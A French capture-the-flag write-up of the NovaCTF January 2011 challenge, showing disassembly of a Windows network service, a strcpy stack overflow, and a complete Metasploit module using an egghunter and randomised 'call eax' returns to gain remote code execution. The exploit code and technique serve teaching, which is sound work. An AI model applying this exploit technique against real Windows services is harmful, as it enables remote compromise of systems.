[Exploitation] NovaCTF January 2011
Bonjour,
Ca fait un moment que le NovaCTF est terminé et que les solutions devraient pleuvoirs. Vu que ce n’est pas le cas, je vais en écrire un write up plus ou moins détaillé.
Tout d’abord, la chose qui a pu être constaté lors de ce challenge est un manque de vérification des binaires fournis aux participants de ce challenge. Il y a eus 3 binaires différents durant celui-ci.
Les binaires avaient les caractéristiques suivantes:
- binaire 1 : GS activé + Visual Studio Debug
- binaire 2 : GS activé
- binaire 3 : GS désactivé + quelques modifications mineures du code Comme vous pouvez le remarquer, le flag GS était activé de base, ce qui rendait l’exploitation impossible sans “tricher” un peu.
J’écrirais donc l’exploitation du binaire 3 et je fournirais le paper que j’ai écris pour le binaire 1 (moddé).
Analyse
Tout d’abord, on nous dit qu’on doit exploiter un service Windows, il y a donc des chances que ça soit une escalation privilege en local ou un remote.
On part donc à la recherche des classiques fonctions strcpy() et recv(). Pas de chances pour la première fonction, et joie, on localise rapidement la deuxième avec un cross referencing.
Celà nous permet de trouver la fonction principale, la fonction vulnérable et de trouver strcpy() de la même manière. En effet, celle-ci est incluse statiquement et n’est pas reconnue par le FLIRT engine d’IDA Pro.
La fonction main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
.text:00401020 main proc near ; CODE XREF: start-5B p
.text:00401020
.text:00401020 pAddrInfo = dword ptr -11CCh
.text:00401020 pHints = ADDRINFOA ptr -11C8h
.text:00401020 var_11A8 = byte ptr -11A8h
.text:00401020 var_11A7 = byte ptr -11A7h
.text:00401020 var_9A8 = dword ptr -9A8h
.text:00401020 len = dword ptr -9A4h
.text:00401020 buf = byte ptr -9A0h
.text:00401020 var_19C = dword ptr -19Ch
.text:00401020 WSAData = WSAData ptr -198h
.text:00401020 s = dword ptr -8
.text:00401020 var_4 = dword ptr -4
.text:00401020
.text:00401020 push ebp
.text:00401021 mov ebp, esp
.text:00401023 mov eax, 11CCh
.text:00401028 call sub_407BA0
.text:0040102D mov [ebp+s], 0FFFFFFFFh
.text:00401034 mov [ebp+var_4], 0FFFFFFFFh
.text:0040103B mov [ebp+pAddrInfo], 0
.text:00401045 mov [ebp+var_19C], 800h
.text:0040104F mov al, ds:byte_40A9E0
.text:00401054 mov [ebp+var_11A8], al
.text:0040105A push 7FFh
.text:0040105F push 0
.text:00401061 lea ecx, [ebp+var_11A7]
.text:00401067 push ecx
.text:00401068 call sub_4015D0
.text:0040106D add esp, 0Ch
.text:00401070 lea edx, [ebp+WSAData]
.text:00401076 push edx ; lpWSAData
.text:00401077 push 202h ; wVersionRequested
.text:0040107C call ds:WSAStartup
.text:00401082 mov [ebp+len], eax
.text:00401088 cmp [ebp+len], 0
.text:0040108F jz short loc_4010AF
.text:00401091 mov eax, [ebp+len]
.text:00401097 push eax
.text:00401098 push offset aWsastartupFail ; "WSAStartup failed with error: %d\n"
.text:0040109D call print_msg
.text:004010A2 add esp, 8
.text:004010A5 mov eax, 1
.text:004010AA jmp loc_401409
.text:004010AF ; ---------------------------------------------------------------------------
.text:004010AF
.text:004010AF loc_4010AF: ; CODE XREF: main+6F j
.text:004010AF push 20h
.text:004010B1 push 0
.text:004010B3 lea ecx, [ebp+pHints]
.text:004010B9 push ecx
.text:004010BA call sub_4015D0
.text:004010BF add esp, 0Ch
.text:004010C2 mov [ebp+pHints.ai_family], 2
.text:004010CC mov [ebp+pHints.ai_socktype], 1
.text:004010D6 mov [ebp+pHints.ai_protocol], 6
.text:004010E0 mov [ebp+pHints.ai_flags], 1
.text:004010EA lea edx, [ebp+pAddrInfo]
.text:004010F0 push edx ; ppResult
.text:004010F1 lea eax, [ebp+pHints]
.text:004010F7 push eax ; pHints
.text:004010F8 push offset pServiceName ; "1337"
.text:004010FD push 0 ; pNodeName
.text:004010FF call ds:getaddrinfo
.text:00401105 mov [ebp+len], eax
.text:0040110B cmp [ebp+len], 0
.text:00401112 jz short loc_401138
.text:00401114 mov ecx, [ebp+len]
.text:0040111A push ecx
.text:0040111B push offset aGetaddrinfoFai ; "getaddrinfo failed with error: %d\n"
.text:00401120 call print_msg
.text:00401125 add esp, 8
.text:00401128 call ds:WSACleanup
.text:0040112E mov eax, 1
.text:00401133 jmp loc_401409
.text:00401138 ; ---------------------------------------------------------------------------
.text:00401138
.text:00401138 loc_401138: ; CODE XREF: main+F2 j
.text:00401138 mov edx, [ebp+pAddrInfo]
.text:0040113E mov eax, [edx+0Ch]
.text:00401141 push eax ; protocol
.text:00401142 mov ecx, [ebp+pAddrInfo]
.text:00401148 mov edx, [ecx+8]
.text:0040114B push edx ; type
.text:0040114C mov eax, [ebp+pAddrInfo]
.text:00401152 mov ecx, [eax+4]
.text:00401155 push ecx ; af
.text:00401156 call ds:socket
.text:0040115C mov [ebp+s], eax
.text:0040115F cmp [ebp+s], 0FFFFFFFFh
.text:00401163 jnz short loc_401196
.text:00401165 call ds:WSAGetLastError
.text:0040116B push eax
.text:0040116C push offset aSocketFailedWi ; "socket failed with error: %ld\n"
.text:00401171 call print_msg
.text:00401176 add esp, 8
.text:00401179 mov edx, [ebp+pAddrInfo]
.text:0040117F push edx ; pAddrInfo
.text:00401180 call ds:freeaddrinfo
.text:00401186 call ds:WSACleanup
.text:0040118C mov eax, 1
.text:00401191 jmp loc_401409
.text:00401196 ; ---------------------------------------------------------------------------
.text:00401196
.text:00401196 loc_401196: ; CODE XREF: main+143 j
.text:00401196 mov eax, [ebp+pAddrInfo]
.text:0040119C mov ecx, [eax+10h]
.text:0040119F push ecx ; namelen
.text:004011A0 mov edx, [ebp+pAddrInfo]
.text:004011A6 mov eax, [edx+18h]
.text:004011A9 push eax ; name
.text:004011AA mov ecx, [ebp+s]
.text:004011AD push ecx ; s
.text:004011AE call ds:bind
.text:004011B4 mov [ebp+len], eax
.text:004011BA cmp [ebp+len], 0FFFFFFFFh
.text:004011C1 jnz short loc_4011FE
.text:004011C3 call ds:WSAGetLastError
.text:004011C9 push eax
.text:004011CA push offset aBindFailedWith ; "bind failed with error: %d\n"
.text:004011CF call print_msg
.text:004011D4 add esp, 8
.text:004011D7 mov edx, [ebp+pAddrInfo]
.text:004011DD push edx ; pAddrInfo
.text:004011DE call ds:freeaddrinfo
.text:004011E4 mov eax, [ebp+s]
.text:004011E7 push eax ; s
.text:004011E8 call ds:closesocket
.text:004011EE call ds:WSACleanup
.text:004011F4 mov eax, 1
.text:004011F9 jmp loc_401409
.text:004011FE ; ---------------------------------------------------------------------------
.text:004011FE
.text:004011FE loc_4011FE: ; CODE XREF: main+1A1 j
.text:004011FE mov ecx, [ebp+pAddrInfo]
.text:00401204 push ecx ; pAddrInfo
.text:00401205 call ds:freeaddrinfo
.text:0040120B push 7FFFFFFFh ; backlog
.text:00401210 mov edx, [ebp+s]
.text:00401213 push edx ; s
.text:00401214 call ds:listen
.text:0040121A mov [ebp+len], eax
.text:00401220 cmp [ebp+len], 0FFFFFFFFh
.text:00401227 jnz short loc_401257
.text:00401229 call ds:WSAGetLastError
.text:0040122F push eax
.text:00401230 push offset aListenFailedWi ; "listen failed with error: %d\n"
.text:00401235 call print_msg
.text:0040123A add esp, 8
.text:0040123D mov eax, [ebp+s]
.text:00401240 push eax ; s
.text:00401241 call ds:closesocket
.text:00401247 call ds:WSACleanup
.text:0040124D mov eax, 1
.text:00401252 jmp loc_401409
.text:00401257 ; ---------------------------------------------------------------------------
.text:00401257
.text:00401257 loc_401257: ; CODE XREF: main+207 j
.text:00401257 push 0 ; addrlen
.text:00401259 push 0 ; addr
.text:0040125B mov ecx, [ebp+s]
.text:0040125E push ecx ; s
.text:0040125F call ds:accept
.text:00401265 mov [ebp+var_4], eax
.text:00401268 cmp [ebp+var_4], 0FFFFFFFFh
.text:0040126C jnz short loc_40129C
.text:0040126E call ds:WSAGetLastError
.text:00401274 push eax
.text:00401275 push offset aAcceptFailedWi ; "accept failed with error: %d\n"
.text:0040127A call print_msg
.text:0040127F add esp, 8
.text:00401282 mov edx, [ebp+s]
.text:00401285 push edx ; s
.text:00401286 call ds:closesocket
.text:0040128C call ds:WSACleanup
.text:00401292 mov eax, 1
.text:00401297 jmp loc_401409
.text:0040129C ; ---------------------------------------------------------------------------
.text:0040129C
.text:0040129C loc_40129C: ; CODE XREF: main+24C j
.text:0040129C mov eax, [ebp+s]
.text:0040129F push eax ; s
.text:004012A0 call ds:closesocket
.text:004012A6
.text:004012A6 loc_4012A6: ; CODE XREF: main+38B j
.text:004012A6 push 0 ; flags
.text:004012A8 push 800h ; len
.text:004012AD lea ecx, [ebp+buf]
.text:004012B3 push ecx ; buf
.text:004012B4 mov edx, [ebp+var_4]
.text:004012B7 push edx ; s
.text:004012B8 call ds:recv
.text:004012BE mov [ebp+len], eax
.text:004012C4 cmp [ebp+len], 0
.text:004012CB jle loc_401361
.text:004012D1 mov eax, [ebp+len]
.text:004012D7 push eax
.text:004012D8 push offset aBytesReceivedD ; "Bytes received: %d\n"
.text:004012DD call print_msg
.text:004012E2 add esp, 8
.text:004012E5 lea ecx, [ebp+buf]
.text:004012EB push ecx
.text:004012EC call vuln_function
.text:004012F1 add esp, 4
.text:004012F4 push 0 ; flags
.text:004012F6 mov edx, [ebp+len]
.text:004012FC push edx ; len
.text:004012FD lea eax, [ebp+buf]
.text:00401303 push eax ; buf
.text:00401304 mov ecx, [ebp+var_4]
.text:00401307 push ecx ; s
.text:00401308 call ds:send
.text:0040130E mov [ebp+var_9A8], eax
.text:00401314 cmp [ebp+var_9A8], 0FFFFFFFFh
.text:0040131B jnz short loc_40134B
.text:0040131D call ds:WSAGetLastError
.text:00401323 push eax
.text:00401324 push offset aSendFailedWith ; "send failed with error: %d\n"
.text:00401329 call print_msg
.text:0040132E add esp, 8
.text:00401331 mov edx, [ebp+var_4]
.text:00401334 push edx ; s
.text:00401335 call ds:closesocket
.text:0040133B call ds:WSACleanup
.text:00401341 mov eax, 1
.text:00401346 jmp loc_401409
.text:0040134B ; ---------------------------------------------------------------------------
.text:0040134B
.text:0040134B loc_40134B: ; CODE XREF: main+2FB j
.text:0040134B mov eax, [ebp+var_9A8]
.text:00401351 push eax
.text:00401352 push offset aBytesSentD ; "Bytes sent: %d\n"
.text:00401357 call print_msg
.text:0040135C add esp, 8
.text:0040135F jmp short loc_4013A4
.text:00401361 ; ---------------------------------------------------------------------------
.text:00401361
.text:00401361 loc_401361: ; CODE XREF: main+2AB j
.text:00401361 cmp [ebp+len], 0
.text:00401368 jnz short loc_401379
.text:0040136A push offset aConnectionClos ; "Connection closing...\n"
.text:0040136F call print_msg
.text:00401374 add esp, 4
.text:00401377 jmp short loc_4013A4
.text:00401379 ; ---------------------------------------------------------------------------
.text:00401379
.text:00401379 loc_401379: ; CODE XREF: main+348 j
.text:00401379 call ds:WSAGetLastError
.text:0040137F push eax
.text:00401380 push offset aRecvFailedWith ; "recv failed with error: %d\n"
.text:00401385 call print_msg
.text:0040138A add esp, 8
.text:0040138D mov ecx, [ebp+var_4]
.text:00401390 push ecx ; s
.text:00401391 call ds:closesocket
.text:00401397 call ds:WSACleanup
.text:0040139D mov eax, 1
.text:004013A2 jmp short loc_401409
.text:004013A4 ; ---------------------------------------------------------------------------
.text:004013A4
.text:004013A4 loc_4013A4: ; CODE XREF: main+33F j
.text:004013A4 ; main+357 j
.text:004013A4 cmp [ebp+len], 0
.text:004013AB jg loc_4012A6
.text:004013B1 push 1 ; how
.text:004013B3 mov edx, [ebp+var_4]
.text:004013B6 push edx ; s
.text:004013B7 call ds:shutdown
.text:004013BD mov [ebp+len], eax
.text:004013C3 cmp [ebp+len], 0FFFFFFFFh
.text:004013CA jnz short loc_4013F7
.text:004013CC call ds:WSAGetLastError
.text:004013D2 push eax
.text:004013D3 push offset aShutdownFailed ; "shutdown failed with error: %d\n"
.text:004013D8 call print_msg
.text:004013DD add esp, 8
.text:004013E0 mov eax, [ebp+var_4]
.text:004013E3 push eax ; s
.text:004013E4 call ds:closesocket
.text:004013EA call ds:WSACleanup
.text:004013F0 mov eax, 1
.text:004013F5 jmp short loc_401409
.text:004013F7 ; ---------------------------------------------------------------------------
.text:004013F7
.text:004013F7 loc_4013F7: ; CODE XREF: main+3AA j
.text:004013F7 mov ecx, [ebp+var_4]
.text:004013FA push ecx ; s
.text:004013FB call ds:closesocket
.text:00401401 call ds:WSACleanup
.text:00401407 xor eax, eax
.text:00401409
.text:00401409 loc_401409: ; CODE XREF: main+8A j
.text:00401409 ; main+113 j ...
.text:00401409 mov esp, ebp
.text:0040140B pop ebp
.text:0040140C retn
.text:0040140C main endp
En gros, le programme lance une socket en écoute, fait un recv(), appelle la fonction vulnérable, send() et bye.
Voilà la fonction vulnérable:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00401000 vuln_function proc near ; CODE XREF: main+2CC p
.text:00401000
.text:00401000 local_buf = byte ptr -100h
.text:00401000 recv_buf = dword ptr 8
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 100h
.text:00401009 mov eax, [ebp+recv_buf]
.text:0040100C push eax ; char *
.text:0040100D lea ecx, [ebp+local_buf]
.text:00401013 push ecx ; char *
.text:00401014 call _strcpy
.text:00401019 add esp, 8
.text:0040101C mov esp, ebp
.text:0040101E pop ebp
.text:0040101F retn
.text:0040101F vuln_function endp
Elle prend en paramètre l’addresse du buffer que recv() utilise et copie celui-ci dans un buffer local de 256 octets.
256 octets n’est pas suffisant pour avoir une payload Windows vraiment très utile et strcpy() s’arrête au 0.
Qu’à celà ne tienne, nous avons assez de place pour y placer un egghunter pour rechercher la payload qui se trouvera dans le buffer dans lequel recv() écrit. Grâce à recv() nous pouvons placer autant de 0 qu’on veut après les 260 bytes nécessaires pour re-écrire le seip (saved eip).
Une chose intéressante à savoir est que strcpy() renvoie le buffer résultant et donc son addresse se trouve dans EAX. Nous n’avons plus qu’à retourner sur un “call eax” et nous aurons fini le challenge.
Le SEIP se trouvent après 260 octets car la pile de vuln_function s’articule ainsi: [recv_buf][seip][sebp][local_buf]
Let’s exploit it then folks!
First on recherche une addresse vers “call eax” :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ objdump -d server.exe | grep -i call | grep -i eax
4022d5: ff d0 call *%eax
402301: ff d0 call *%eax
402322: ff d0 call *%eax
402ca0: ff d0 call *%eax
402d89: ff d0 call *%eax
402e92: ff d0 call *%eax
402eb3: ff d0 call *%eax
4038e3: ff d0 call *%eax
403909: ff d0 call *%eax
403972: ff d0 call *%eax
403a63: ff d0 call *%eax
403a92: ff d0 call *%eax
403d2f: ff d0 call *%eax
403d5e: ff d0 call *%eax
405528: ff d0 call *%eax
4057a0: ff d0 call *%eax
405a07: ff d0 call *%eax
405a24: ff d0 call *%eax
405a41: ff d0 call *%eax
4074c4: ff d0 call *%eax
Soit une vingtaine d’addresse :).
Ca nous donne un tableau de rets (randomisons le plus possible ;)):
1
2
# ret return to : call eax
rets = [ 0x004022d5, 0x00402301, 0x00402322, 0x00402ca0, 0x00402d89, 0x00402e92, 0x00402eb3, 0x004038e3, 0x00403909, 0x00403972, 0x00403a63, 0x00403a92, 0x00403d2f, 0x00403d5e, 0x00405528, 0x004057a0, 0x00405a07, 0x00405a24, 0x00405a41, 0x004074c4 ]
Ensuite nous voulons un egghunter, pour celà on fait usage du egghunter mixin:
1
2
# use egghunter technique
hunter, egg_payload = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
Il reste plus qu’à construire notre payload et à l’envoyer:
1
2
3
4
5
6
7
8
9
10
11
12
13
# egghunter
egg = hunter
# it nevers get here (egghunter), so rand_text is safe :)
egg << rand_text_alphanumeric(ret_offset - hunter.length)
# usual way to do :
# egg << [target.ret].pack('V')
# better way :) (randomly choose ret address in array)
egg << [rets[rand(rets.length)]].pack('V')
# payload won't get copied in current buffer due to strcpy()
# but it is present somewhere else in memory due to recv() :)
egg << egg_payload
sock.put(egg)
Celà nous donne donc l’exploit suivant:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
##
# $Id: novactf_january2011.rb 11541 2011-01-11 06:05:00Z m_101 $
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'NovaCTF January 2011 (Windows)',
'Description' => %q{
Exploit NovaCTF January 2011
},
'Author' => [ 'm_101' ],
'Version' => '$Revision: 11541 $',
'Resources' =>
[
['URL', 'http://binholic.blogspot.com']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 744,
# NOTE: \x0a et \x0d are avoided because it's usually ending network packets in some protocols
'BadChars' => "\x0a\x0d\x00",
'DisableNops' => true
},
'Platform' => [ 'windows', ],
'Targets' =>
[
[ 'Windows XP (Generic)',
{
'Ret' => '' # empty (we randomize it in the exploit()
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 11 2011'))
register_options(
[
Opt::RPORT(1337),
], self.class )
end
def exploit
connect
# ret return to : call eax
rets = [ 0x004022d5, 0x00402301, 0x00402322, 0x00402ca0, 0x00402d89, 0x00402e92, 0x00402eb3, 0x004038e3, 0x00403909, 0x00403972, 0x00403a63, 0x00403a92, 0x00403d2f, 0x00403d5e, 0x00405528, 0x004057a0, 0x00405a07, 0x00405a24, 0x00405a41, 0x004074c4 ]
ret_offset = 260
# use egghunter technique
hunter, egg_payload = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
# egghunter
egg = hunter
# it nevers get here (egghunter), so rand_text is safe :)
egg << rand_text_alphanumeric(ret_offset - hunter.length)
# usual way to do :
# egg << [target.ret].pack('V')
# better way :) (randomly choose ret address in array)
egg << [rets[rand(rets.length)]].pack('V')
# payload won't get copied in current buffer due to strcpy()
# but it is present somewhere else in memory due to recv() :)
egg << egg_payload
sock.put(egg)
handler
disconnect
end
end
Vous pourrez remarquer que ça fonctionne parfaitement sous Windows 7 si le DEP est désactivé.
Have fun,
m_101